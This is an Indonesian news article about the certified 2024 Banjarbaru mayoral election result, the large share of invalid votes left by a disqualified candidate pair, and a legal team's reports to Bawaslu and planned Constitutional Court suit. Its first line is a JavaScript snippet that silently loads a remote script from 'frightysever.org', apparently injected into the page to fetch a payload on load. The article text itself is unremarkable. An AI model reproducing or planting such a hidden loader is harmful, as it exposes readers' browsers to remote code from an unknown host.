(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Hasil rekapitulasi Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarbaru 2024 sudah disahkan oleh Komisi Pemilihan Umum (KPU) Kota Banjarbaru, Senin (2/11/2024) malam.
Hasilnya, pasangam calon (Paslon) Wali Kota dan Wakil Wali Kota Erna Lisa Halaby-Wartono ditetapkan KPU Banjarbaru menang dengan total 36.135 suara sah. Sementara suara tidak sah untuk Pilwali Banjarbaru sebanyak 78.736 suara.
Sesuai pedoman teknis KPU, pemilih yang mencoblos paslon terdiskuakifikasi Aditya Mufti Ariffin-Said Abdullah dinyatakan tidak sah. Namun, jumlah suara tidak sah justru melampaui suara Lisa Halaby-Wartono.
Meskipun rekapitulasi hasil penghitungan suara sudah tuntas, dinamika Pilwali Banjarbaru masih akan berlanjut.
Baca juga: Yamin-Ananda Resmi Menang Pilwali Banjarmasin Raih 136.925 Suara
Melihat proses dan hasil kontestasi Pilwali Banjarbaru, Prof Denny Indrayana bersama dengan praktisi hukum dan demokrasi yang tergabung dalam Tim Hanyar (Haram Manyarah) langsung melakukan perlawanan hukum.
Guru Besar Hukum Tata Negara ini mengungkapkan ada empat upaya hukum yang ditempuh tim Hanyar terhadap Pilwali Banjarbaru.
Pertama, melaporkan Komisioner KPU ke Badan Pengawas Pemilu (Bawaslu) RI dan selanjutnya ke Dewan Kehormatan Penyelenggara Pemilu (DKPP).
Kemudian, ungkap Denny, tim Hanyar juga akan melakukan uji materil Keputusan KPU Nomor 1774 ke Mahkamah Agung (MA).
Baca juga: Sah! Lisa Halaby-Wartono Pemenang Pilwali Banjarbaru
Puncaknya, tim akan mendaftarkan gugatan hasil rekapitulasi perolehan suara Pilwali Banjarbaru ke Mahkamah Konstitusi (MK).
Selasa (3/12/2024) siang, Denny Indrayana dan Hairansyah -mantan Komisioner Komnas HAM RI-, mendatangi dan menyerahkan laporan ke kantor Bawaslu RI di Jakarta.
Materi laporan terkait dugaan tindak pidana pemilu dan administrasi pemilu pada proses Pilkada di Banjarbaru tahun 2024.
Tak tanggung-tanggung, terlapor dari tiga lembaga KPU sekaligus. Ada 7 komisioner KPU RI, 5 Komisioner KPU Provinsi Kalsel, dan 5 Komisoner KPU Kota Banjarbaru.
Baca juga: Biro Hukum Sediakan Program Bantuan Hukum untuk Warga Miskin
“Jadi ada 17 terlapor,” kata Denny saat dihubungi, Selasa (3/12/2024) malam.
Masih lanjut Denny, alasan tim Hanyar melaporkan dugaan pelanggaran administrasi, karena seharusnya dengan satu pasangan calon, seyogyanya Pilwali Banjarbaru menyediakan pilihan kotak kosong.
Namun, karena KPU tidak menyediakan kolom kotak kosong pada surat suara, sehingga proses pemungutan suara Pilwali Banjarbaru dianggap tidak sesuai dengan Undang-Undang Pilkada.
“Dan untuk laporan dugaan tindak pidana pemilunya, terkait menghilangkan suara pemilih,” sebut Denny.
Baca juga: KPU Kalsel: Gugatan Sengketa Hasil Pilkada Diberi Waktu 3 Hari
Masih lanjut Denny, untuk gugatan hasil Pilwali Banjarbaru, rencananya akan didaftarkan ke Mahkamah Konstitusi pada Rabu (4/12/2024) besok.
Dimana berdasarkan aturan batas waktu permohonan gugatan MK, tiga hari sejak penetapan perolehan suara. Berarti tanggal 4 Desember 2024 adalah hari terakhir kesempatan untuk melakukan gugatan ke MK untuk hasil Pilwali Banjarbaru. (Kanalkalimantan.com/rizki)
Reporter: rizki
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Perkumpulan Penyedia Jasa Boga Indonesia (PPJI) menyambangi Ibu… Read More
KANALKALIMANTAN.COM, AMUNTAI - Usaha aneka kuliner kue kering dan cemilan hasil usah bersama ibu-ibu yang… Read More
KANALKALIMANTAN.COM, AMUNTAI - Kelompok Masyarakat Peduli Gambut (KMPG) Desa Pulantani, Kecamatan Haur Gading, Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Fraksi-fraksi di Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menyetujui atas usulan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Camat Amuntai Tengah Budia Hendra, memberikan respon positif terhadap program bantuan hukum… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Kota Banjarmasin menuntaskan rekapitulasi hasil perhitungan suara Pemilihan… Read More
This website uses cookies.